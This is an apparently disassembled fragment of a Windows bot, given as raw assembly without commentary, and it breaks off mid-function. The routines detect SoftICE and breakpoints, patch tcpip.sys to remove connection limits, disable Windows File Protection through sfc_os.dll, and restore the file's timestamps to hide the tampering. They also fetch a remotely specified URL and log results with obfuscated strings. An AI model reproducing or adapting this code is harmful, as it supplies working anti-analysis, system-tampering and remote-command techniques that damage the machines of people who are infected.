		push	80h
		push	3
		push	0
		push	3
		push	0C0000000h
		push	offset a_Ntice	; "\\\\.\\NTICE"
		call	dword_42F060	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41FCF0
		push	eax
		call	dword_42F038	; CloseHandle
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41FCF0:				; CODE XREF: sub_41FCC3+20j
		xor	eax, eax
		retn
sub_41FCC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FCF3	proc near		; DATA XREF: sub_41FB50+56o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		mov	al, [esi]
		cmp	al, 0CCh
		jz	short loc_41FD04
		xor	eax, eax
		jmp	short loc_41FD09
; ---------------------------------------------------------------------------


loc_41FD04:				; CODE XREF: sub_41FCF3+Bj
		mov	eax, 1


loc_41FD09:				; CODE XREF: sub_41FCF3+Fj
		pop	esi
		pop	ebp
		retn
sub_41FCF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FD0C	proc near		; CODE XREF: sub_41FE93+70p

var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_42EBEC
		mov	esi, eax
		test	esi, esi
		jz	loc_41FDB0
		push	esi
		call	sub_422F79
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41FDB0
		push	edi
		push	esi
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_42EBE6
		test	eax, eax
		jz	short loc_41FD8A
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset asc_43E8EC ; "\\"
		push	edi
		call	sub_42EBE0
		test	eax, eax
		jz	short loc_41FDA9
		mov	eax, [ebp+var_8]
		cmp	word ptr [eax+0Eh], 0A28h
		jnz	short loc_41FDA9
		movzx	eax, word ptr [eax+0Ch]
		cmp	eax, 884h
		jz	short loc_41FDA4
		cmp	eax, 9C9h
		jz	short loc_41FDA0
		cmp	eax, 0A7Dh
		jz	short loc_41FD9C
		cmp	eax, 0B4Ch
		jz	short loc_41FD97


loc_41FD8A:				; CODE XREF: sub_41FD0C+3Aj
		xor	esi, esi


loc_41FD8C:				; CODE XREF: sub_41FD0C+8Ej
					; sub_41FD0C+9Bj
		push	edi
		call	sub_4230B3
		pop	ecx
		mov	eax, esi
		jmp	short loc_41FDB2
; ---------------------------------------------------------------------------


loc_41FD97:				; CODE XREF: sub_41FD0C+7Cj
		push	2


loc_41FD99:				; CODE XREF: sub_41FD0C+92j
					; sub_41FD0C+96j
		pop	esi
		jmp	short loc_41FD8C
; ---------------------------------------------------------------------------


loc_41FD9C:				; CODE XREF: sub_41FD0C+75j
		push	4
		jmp	short loc_41FD99
; ---------------------------------------------------------------------------


loc_41FDA0:				; CODE XREF: sub_41FD0C+6Ej
		push	3
		jmp	short loc_41FD99
; ---------------------------------------------------------------------------


loc_41FDA4:				; CODE XREF: sub_41FD0C+67j
		xor	esi, esi
		inc	esi
		jmp	short loc_41FD8C
; ---------------------------------------------------------------------------


loc_41FDA9:				; CODE XREF: sub_41FD0C+51j
					; sub_41FD0C+5Cj
		push	edi
		call	sub_4230B3
		pop	ecx


loc_41FDB0:				; CODE XREF: sub_41FD0C+18j
					; sub_41FD0C+29j
		xor	eax, eax


loc_41FDB2:				; CODE XREF: sub_41FD0C+89j
		pop	edi
		pop	esi
		leave
		retn
sub_41FD0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDB6	proc near		; CODE XREF: sub_41FE93+38p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	dword_42F044	; GetVersionExA
		cmp	[ebp+var_90], 5
		jnz	short loc_41FE01
		cmp	[ebp+var_8C], 1
		jnz	short loc_41FE01
		lea	eax, [ebp+var_80]
		push	offset a2_0	; "2"
		push	eax
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41FE01
		xor	eax, eax
		inc	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_41FE01:				; CODE XREF: sub_41FDB6+27j
					; sub_41FDB6+30j ...
		push	[ebp+arg_0]
		call	sub_41C059
		pop	ecx
		push	0
		call	dword_42F150	; ExitThread
sub_41FDB6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FE12	proc near		; CODE XREF: sub_41FE93+BDp

var_104		= byte ptr -104h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_104]
		push	offset aS_book	; "%s.book"
		push	eax
		call	sub_422063
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	0
		push	eax
		push	[ebp+arg_0]
		call	dword_42F09C	; CopyFileA
		neg	eax
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_41FE12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FE4C	proc near		; CODE XREF: sub_41FE93+165p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+var_200]
		push	100h
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	0
		push	0
		call	dword_42F098	; MultiByteToWideChar
		push	offset aSfc_os_dll ; "sfc_os.dll"
		call	dword_42F138	; LoadLibraryA
		push	5
		push	eax
		call	dword_42F13C	; GetProcAddress
		lea	ecx, [ebp+var_200]
		push	0FFFFFFFFh
		push	ecx
		push	0
		call	eax
		leave
		retn
sub_41FE4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FE93	proc near		; DATA XREF: sub_403B2C+1168o

var_1344	= byte ptr -1344h
var_344		= byte ptr -344h
var_240		= byte ptr -240h
var_13C		= dword	ptr -13Ch
var_138		= byte ptr -138h
var_B8		= dword	ptr -0B8h
var_AC		= dword	ptr -0ACh
var_A4		= byte ptr -0A4h
var_9C		= byte ptr -9Ch
var_94		= byte ptr -94h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_4220C0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	26h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_13C]
		rep movsd
		mov	ebx, [ebp+var_13C]
		push	[ebp+var_B8]
		xor	esi, esi
		mov	[ebp+var_38], ebx
		inc	esi
		mov	[eax+94h], esi
		call	sub_41FDB6
		lea	eax, [ebp+var_344]
		mov	[esp+10h+var_10], 104h
		push	eax
		call	dword_42F110	; GetSystemDirectoryA
		lea	eax, [ebp+var_344]
		push	eax
		lea	eax, [ebp+var_240]
		push	offset aSDriversTcpip_ ; "%s\\drivers\\tcpip.sys"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_240]
		push	eax
		call	sub_41FD0C
		xor	edi, edi
		add	esp, 10h
		cmp	eax, edi
		mov	[ebp+var_14], eax
		jnz	short loc_41FF49
		cmp	[ebp+var_AC], edi
		jz	short loc_41FF36
		push	offset a68gmpWcesMnsrm ; "68gmp/wceS//Mnsrm1FhS.k."
		lea	eax, [ebp+var_138]
		push	offset aSTcpip_sysVers ; "%s TCPIP.SYS version is wrong."
		push	eax
		push	ebx
		call	sub_4104F6
		add	esp, 10h


loc_41FF36:				; CODE XREF: sub_41FE93+87j
		push	[ebp+var_B8]
		call	sub_41C059
		pop	ecx
		push	edi
		call	dword_42F150	; ExitThread


loc_41FF49:				; CODE XREF: sub_41FE93+7Fj
		lea	eax, [ebp+var_240]
		push	eax
		call	sub_41FE12
		mov	eax, offset word_44D6A0
		mov	edx, offset dword_449008
		mov	[ebp+var_60], eax
		mov	[ebp+var_54], eax
		mov	[ebp+var_50], eax
		mov	[ebp+var_80], eax
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], eax
		mov	ecx, offset dword_449004
		mov	eax, offset dword_449000
		push	esi
		mov	[ebp+var_6C], offset asc_433E90	; "L"
		mov	[ebp+var_68], offset dword_448FFC
		mov	[ebp+var_64], offset dword_448FF8
		mov	[ebp+var_5C], edx
		mov	[ebp+var_58], ecx
		mov	[ebp+var_8C], offset aC	; "C"
		mov	[ebp+var_88], offset dword_448FF4
		mov	[ebp+var_84], offset dword_448FF0
		mov	[ebp+var_7C], edx
		mov	[ebp+var_78], ecx
		mov	[ebp+var_40], offset dword_448FEC
		mov	[ebp+var_3C], eax
		mov	[ebp+var_4C], offset dword_448FE8
		mov	[ebp+var_48], offset aG	; "G"
		mov	[ebp+var_44], eax
		mov	[ebp+var_8], edi
		call	sub_422F79
		pop	ecx
		mov	[ebp+var_C], eax
		pop	ecx
		mov	[ebp+var_10], edi
		push	7530h
		call	dword_42F15C	; Sleep
		lea	eax, [ebp+var_240]
		push	eax
		call	sub_41FE4C
		pop	ecx
		mov	ebx, 80h
		lea	eax, [ebp+var_240]
		push	ebx
		push	eax
		call	dword_42F08C	; SetFileAttributesA
		push	edi
		push	ebx
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_240]
		push	80000000h
		push	eax
		call	dword_42F060	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_420056
		lea	ecx, [ebp+var_9C]
		push	ecx
		lea	ecx, [ebp+var_94]
		push	ecx
		lea	ecx, [ebp+var_A4]
		push	ecx
		push	eax
		call	dword_42F11C	; GetFileTime


loc_42004D:				; DATA XREF: .text:00436A2Co
					; .text:00436A38o
		push	[ebp+arg_0]
		call	dword_42F038	; CloseHandle


loc_420056:				; CODE XREF: sub_41FE93+19Cj
		lea	eax, [ebp+var_240]
		push	offset off_448FE4
		push	eax
		call	sub_422F66
		pop	ecx
		cmp	eax, edi
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_4200C5
		push	[ebp+var_14]
		lea	eax, [ebp+var_1344]
		push	offset a68gmpWcesMnsrm ; "68gmp/wceS//Mnsrm1FhS.k."
		push	offset aSCannotOpenTcp ; "%s Cannot open TCPIP.SYS, version %d."
		push	1000h
		push	eax
		call	sub_42219B
		add	esp, 14h
		cmp	[ebp+var_AC], edi
		jz	short loc_4200B2
		lea	eax, [ebp+var_1344]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		push	[ebp+var_38]
		call	sub_4104F6
		add	esp, 0Ch


loc_4200B2:				; CODE XREF: sub_41FE93+204j
		push	[ebp+var_B8]
		call	sub_41C059
		pop	ecx
		push	edi
		call	dword_42F150	; ExitThread


loc_4200C5:				; CODE XREF: sub_41FE93+1DBj
		mov	eax, [ebp+var_14]
		dec	eax
		jz	loc_4202D3
		dec	eax
		jz	loc_42020E
		dec	eax
		jz	loc_420179
		dec	eax
		jnz	loc_420385
		mov	[ebp+var_34], 130h
		mov	[ebp+var_30], 4F5A2h
		mov	[ebp+var_4], edi


loc_4200F5:				; CODE XREF: sub_41FE93+2A1j
		mov	eax, [ebp+var_4]
		push	edi
		push	[ebp+eax+var_34]
		push	[ebp+arg_0]
		call	sub_422E7C
		push	[ebp+arg_0]
		push	esi
		push	esi
		push	[ebp+var_C]
		call	sub_422BE2
		mov	eax, [ebp+var_4]
		push	esi
		push	[ebp+eax+var_4C]
		push	[ebp+var_C]
		call	sub_423AD0
		add	esp, 28h
		test	eax, eax
		jnz	short loc_42012C
		inc	[ebp+var_8]


loc_42012C:				; CODE XREF: sub_41FE93+294j
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], 0Ch
		jl	short loc_4200F5
		cmp	[ebp+var_8], 3
		jge	loc_420385
		mov	[ebp+var_10], esi
		mov	[ebp+var_4], edi


loc_420146:				; CODE XREF: sub_41FE93+2DFj
		mov	eax, [ebp+var_4]
		push	edi
		push	[ebp+eax+var_34]
		push	[ebp+arg_0]
		call	sub_422E7C
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		push	esi
		push	esi
		push	[ebp+eax+var_4C]
		call	sub_424C08
		add	[ebp+var_4], 4
		add	esp, 1Ch
		cmp	[ebp+var_4], 0Ch
		jl	short loc_420146
		jmp	loc_420385
; ---------------------------------------------------------------------------


loc_420179:				; CODE XREF: sub_41FE93+244j
		mov	[ebp+var_34], 130h
		mov	[ebp+var_30], 4F322h
		mov	[ebp+var_4], edi


loc_42018A:				; CODE XREF: sub_41FE93+336j
		mov	eax, [ebp+var_4]
		push	edi
		push	[ebp+eax+var_34]
		push	[ebp+arg_0]
		call	sub_422E7C
		push	[ebp+arg_0]
		push	esi
		push	esi
		push	[ebp+var_C]
		call	sub_422BE2
		mov	eax, [ebp+var_4]
		push	esi
		push	[ebp+eax+var_40]
		push	[ebp+var_C]
		call	sub_423AD0
		add	esp, 28h
		test	eax, eax
		jnz	short loc_4201C1
		inc	[ebp+var_8]


loc_4201C1:				; CODE XREF: sub_41FE93+329j
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], 8
		jl	short loc_42018A
		cmp	[ebp+var_8], 2
		jge	loc_420385
		mov	[ebp+var_10], esi
		mov	[ebp+var_4], edi


loc_4201DB:				; CODE XREF: sub_41FE93+374j
		mov	eax, [ebp+var_4]
		push	edi
		push	[ebp+eax+var_34]
		push	[ebp+arg_0]
		call	sub_422E7C
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		push	esi
		push	esi
		push	[ebp+eax+var_40]
		call	sub_424C08
		add	[ebp+var_4], 4
		add	esp, 1Ch
		cmp	[ebp+var_4], 8
		jl	short loc_4201DB
		jmp	loc_420385
; ---------------------------------------------------------------------------


loc_42020E:				; CODE XREF: sub_41FE93+23Dj
		mov	[ebp+var_34], 130h
		mov	[ebp+var_30], 131h
		mov	[ebp+var_2C], 132h
		mov	[ebp+var_28], 133h
		mov	[ebp+var_24], 4F5A2h
		mov	[ebp+var_20], 4F5A3h
		mov	[ebp+var_1C], 4F5A4h
		mov	[ebp+var_18], 4F5A5h
		mov	[ebp+var_4], edi


loc_420249:				; CODE XREF: sub_41FE93+3F8j
		mov	eax, [ebp+var_4]
		push	edi
		push	[ebp+eax+var_34]
		push	[ebp+arg_0]
		call	sub_422E7C
		push	[ebp+arg_0]
		push	esi
		push	esi
		push	[ebp+var_C]
		call	sub_422BE2
		mov	eax, [ebp+var_4]
		push	esi
		push	[ebp+eax+var_8C]
		push	[ebp+var_C]
		call	sub_423AD0
		add	esp, 28h
		test	eax, eax
		jnz	short loc_420283
		inc	[ebp+var_8]


loc_420283:				; CODE XREF: sub_41FE93+3EBj
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], 20h
		jl	short loc_420249
		cmp	[ebp+var_8], 8
		jge	loc_420385
		mov	[ebp+var_10], esi
		mov	[ebp+var_4], edi


loc_42029D:				; CODE XREF: sub_41FE93+439j
		mov	eax, [ebp+var_4]
		push	edi
		push	[ebp+eax+var_34]
		push	[ebp+arg_0]
		call	sub_422E7C
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		push	esi
		push	esi
		push	[ebp+eax+var_8C]
		call	sub_424C08
		add	[ebp+var_4], 4
		add	esp, 1Ch
		cmp	[ebp+var_4], 20h
		jl	short loc_42029D
		jmp	loc_420385
; ---------------------------------------------------------------------------


loc_4202D3:				; CODE XREF: sub_41FE93+236j
		mov	[ebp+var_34], 130h
		mov	[ebp+var_30], 131h
		mov	[ebp+var_2C], 132h
		mov	[ebp+var_28], 133h
		mov	[ebp+var_24], 4F322h
		mov	[ebp+var_20], 4F323h
		mov	[ebp+var_1C], 4F324h
		mov	[ebp+var_18], 4F325h
		mov	[ebp+var_4], edi


loc_42030E:				; CODE XREF: sub_41FE93+4BAj
		mov	eax, [ebp+var_4]
		push	edi
		push	[ebp+eax+var_34]
		push	[ebp+arg_0]
		call	sub_422E7C
		push	[ebp+arg_0]
		push	esi
		push	esi
		push	[ebp+var_C]
		call	sub_422BE2
		mov	eax, [ebp+var_4]
		push	esi
		push	[ebp+eax+var_6C]
		push	[ebp+var_C]
		call	sub_423AD0
		add	esp, 28h
		test	eax, eax
		jnz	short loc_420345
		inc	[ebp+var_8]


loc_420345:				; CODE XREF: sub_41FE93+4ADj
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], 20h
		jl	short loc_42030E
		cmp	[ebp+var_8], 8
		jge	short loc_420385
		mov	[ebp+var_10], esi
		xor	ebx, ebx


loc_42035A:				; CODE XREF: sub_41FE93+4EBj
		push	edi
		push	[ebp+ebx+var_34]
		push	[ebp+arg_0]
		call	sub_422E7C
		push	[ebp+arg_0]
		push	esi
		push	esi
		push	[ebp+ebx+var_6C]
		call	sub_424C08
		add	ebx, 4
		add	esp, 1Ch
		cmp	ebx, 20h
		jl	short loc_42035A
		mov	ebx, 80h


loc_420385:				; CODE XREF: sub_41FE93+24Bj
					; sub_41FE93+2A7j ...
		push	[ebp+arg_0]
		call	sub_422B65
		pop	ecx
		lea	eax, [ebp+var_240]
		push	edi
		push	ebx
		push	3
		push	edi
		push	2
		push	40000000h
		push	eax
		call	dword_42F060	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4203D1
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		push	esi
		call	dword_42F118	; SetFileTime
		push	esi
		call	dword_42F038	; CloseHandle


loc_4203D1:				; CODE XREF: sub_41FE93+519j
		cmp	[ebp+var_10], edi
		jz	short loc_420418
		push	[ebp+var_14]
		lea	eax, [ebp+var_1344]
		push	offset a68gmpWcesMnsrm ; "68gmp/wceS//Mnsrm1FhS.k."
		push	offset aSTcpip_sysFixe ; "%s TCPIP.SYS fixed, version %d."
		push	1000h
		push	eax
		call	sub_42219B
		add	esp, 14h
		cmp	[ebp+var_AC], edi
		jz	short loc_420418
		lea	eax, [ebp+var_1344]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		push	[ebp+var_38]
		call	sub_4104F6
		add	esp, 0Ch


loc_420418:				; CODE XREF: sub_41FE93+541j
					; sub_41FE93+56Aj
		push	[ebp+var_B8]
		call	sub_41C059
		pop	ecx
		push	edi
		call	dword_42F150	; ExitThread
sub_41FE93	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42042B	proc near		; DATA XREF: sub_403B2C+65D6o

var_1464	= byte ptr -1464h
var_464		= byte ptr -464h
var_364		= byte ptr -364h
var_2E4		= byte ptr -2E4h
var_264		= byte ptr -264h
var_1E4		= dword	ptr -1E4h
var_1DC		= byte ptr -1DCh
var_15C		= byte ptr -15Ch
var_DC		= byte ptr -0DCh
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1464h
		call	sub_4220C0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	67h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1E4]
		rep movsd
		xor	esi, esi
		mov	edi, 80h
		inc	esi
		xor	ebx, ebx
		mov	[eax+198h], esi
		mov	eax, [ebp+var_1E4]
		mov	[ebp+arg_0], eax
		push	edi
		lea	eax, [ebp+var_364]
		push	ebx
		push	eax
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_C], offset asc_4490E4 ; "*/*"
		call	sub_4221F0
		push	edi
		lea	eax, [ebp+var_2E4]
		push	ebx
		push	eax
		call	sub_4221F0
		push	edi
		lea	eax, [ebp+var_264]
		push	ebx
		push	eax
		call	sub_4221F0
		push	100h
		lea	eax, [ebp+var_464]
		push	ebx
		push	eax
		call	sub_4221F0
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_4221F0
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_1DC]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_422120
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1DC]
		push	eax
		call	dword_4541F4	; InternetCrackUrlA
		test	eax, eax
		jz	loc_4205DD
		cmp	[ebp+var_34], ebx
		jbe	short loc_42050F
		push	[ebp+var_34]
		lea	eax, [ebp+var_364]
		push	[ebp+var_38]
		push	eax
		call	sub_4222F0
		add	esp, 0Ch


loc_42050F:				; CODE XREF: sub_42042B+CDj
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_42052D
		push	[ebp+var_28]
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_2C]
		push	eax
		call	sub_4222F0
		add	esp, 0Ch


loc_42052D:				; CODE XREF: sub_42042B+EBj
		cmp	[ebp+var_20], ebx
		jbe	short loc_420547
		push	[ebp+var_20]
		lea	eax, [ebp+var_264]
		push	[ebp+var_24]
		push	eax
		call	sub_4222F0
		add	esp, 0Ch


loc_420547:				; CODE XREF: sub_42042B+105j
		cmp	[ebp+var_18], ebx
		jbe	short loc_420561
		push	[ebp+var_18]
		lea	eax, [ebp+var_464]
		push	[ebp+var_1C]
		push	eax
		call	sub_4222F0
		add	esp, 0Ch


loc_420561:				; CODE XREF: sub_42042B+11Fj
		push	ebx
		push	ebx
		lea	eax, [ebp+var_264]
		push	3
		push	eax
		lea	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	dword_4542B8
		call	dword_4542E0	; InternetConnectA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4205F8
		push	ebx
		lea	eax, [ebp+var_C]
		push	200h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_464]
		push	ebx
		push	eax
		push	ebx
		push	edi
		call	dword_4542D4	; HttpOpenRequestA
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_420604
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_454278	; HttpSendRequestA
		test	eax, eax
		push	offset aCwje81zpyq1_ty ; "CWje81ZpYQ1.TY84s/myQpz0"
		lea	eax, [ebp+var_1464]
		jz	short loc_4205D6
		push	offset aSUrlVisited_ ; "%s URL visited."
		jmp	short loc_420614
; ---------------------------------------------------------------------------


loc_4205D6:				; CODE XREF: sub_42042B+1A2j
		push	offset aSFailedToGetRe ; "%s Failed to get requested URL from HTT"...
		jmp	short loc_420614
; ---------------------------------------------------------------------------


loc_4205DD:				; CODE XREF: sub_42042B+C4j
		push	offset aCwje81zpyq1_ty ; "CWje81ZpYQ1.TY84s/myQpz0"
		lea	eax, [ebp+var_1464]
		push	offset aSInvalidUrl_ ; "%s  Invalid URL."
		push	eax
		call	sub_422063
		mov	edi, [ebp+var_8]
		jmp	short loc_42061A
; ---------------------------------------------------------------------------


loc_4205F8:				; CODE XREF: sub_42042B+160j
		push	offset aCwje81zpyq1_ty ; "CWje81ZpYQ1.TY84s/myQpz0"
		push	offset aSCouldNotOpenA ; "%s Could not open a connection."
		jmp	short loc_42060E
; ---------------------------------------------------------------------------


loc_420604:				; CODE XREF: sub_42042B+188j
		push	offset aCwje81zpyq1_ty ; "CWje81ZpYQ1.TY84s/myQpz0"
		push	offset aSFailedToConne ; "%s Failed to connect to HTTP server."


loc_42060E:				; CODE XREF: sub_42042B+1D7j
		lea	eax, [ebp+var_1464]


loc_420614:				; CODE XREF: sub_42042B+1A9j
					; sub_42042B+1B0j
		push	eax
		call	sub_422063


loc_42061A:				; CODE XREF: sub_42042B+1CBj
		add	esp, 0Ch
		cmp	[ebp+var_58], ebx
		mov	esi, offset aS_1 ; "%s"
		jnz	short loc_420646
		cmp	[ebp+var_54], ebx
		jnz	short loc_42064B
		lea	eax, [ebp+var_1464]
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	sub_4104F6
		add	esp, 10h


loc_420646:				; CODE XREF: sub_42042B+1FAj
		cmp	[ebp+var_54], ebx
		jz	short loc_420665


loc_42064B:				; CODE XREF: sub_42042B+1FFj
		lea	eax, [ebp+var_1464]
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	sub_410491
		add	esp, 10h


loc_420665:				; CODE XREF: sub_42042B+21Ej
		push	edi
		call	dword_454348	; InternetCloseHandle
		push	[ebp+var_4]
		call	dword_454348	; InternetCloseHandle
		push	[ebp+var_5C]
		call	sub_41C059
		pop	ecx
		push	ebx
		call	dword_42F150	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_42042B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420688	proc near		; CODE XREF: sub_420BEE+4A8p

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		lea	eax, [ebp+var_8]
		xor	esi, esi
		sub	edi, eax


loc_420699:				; CODE XREF: sub_420688+32j
		push	[ebp+arg_4]
		call	sub_422120
		cmp	esi, eax
		pop	ecx
		jnb	short loc_4206B1
		lea	eax, [ebp+esi+var_8]
		mov	cl, [edi+eax]
		mov	[eax], cl
		jmp	short loc_4206B6
; ---------------------------------------------------------------------------


loc_4206B1:				; CODE XREF: sub_420688+1Cj
		and	[ebp+esi+var_8], 0


loc_4206B6:				; CODE XREF: sub_420688+27j
		inc	esi
		cmp	esi, 8
		jb	short loc_420699
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		call	sub_40AF5C
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		push	2
		pop	edi


loc_4206CF:				; CODE XREF: sub_420688+54j
		push	esi
		push	esi
		call	sub_40B122
		pop	ecx
		add	esi, 8
		dec	edi
		pop	ecx
		jnz	short loc_4206CF
		pop	edi
		pop	esi
		leave
		retn
sub_420688	endp


; =============== S U B	R O U T	I N E =======================================



sub_4206E2	proc near		; CODE XREF: sub_420BEE+B0p
					; sub_420BEE+117p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi
		jmp	short loc_42070D
; ---------------------------------------------------------------------------


loc_4206EC:				; CODE XREF: sub_4206E2+2Dj
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_454330	; recv
		test	eax, eax
		jz	short loc_420717
		cmp	eax, 0FFFFFFFFh
		jz	short loc_420717
		sub	edi, eax
		add	esi, eax


loc_42070D:				; CODE XREF: sub_4206E2+8j
		test	edi, edi
		jg	short loc_4206EC
		xor	eax, eax
		inc	eax


loc_420714:				; CODE XREF: sub_4206E2+37j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420717:				; CODE XREF: sub_4206E2+20j
					; sub_4206E2+25j
		xor	eax, eax
		jmp	short loc_420714
sub_4206E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_42071B	proc near		; CODE XREF: sub_420BEE+104p
					; sub_420BEE+18Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_420758
		xor	esi, esi
		test	edi, edi
		jle	short loc_420752


loc_42072B:				; CODE XREF: sub_42071B+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
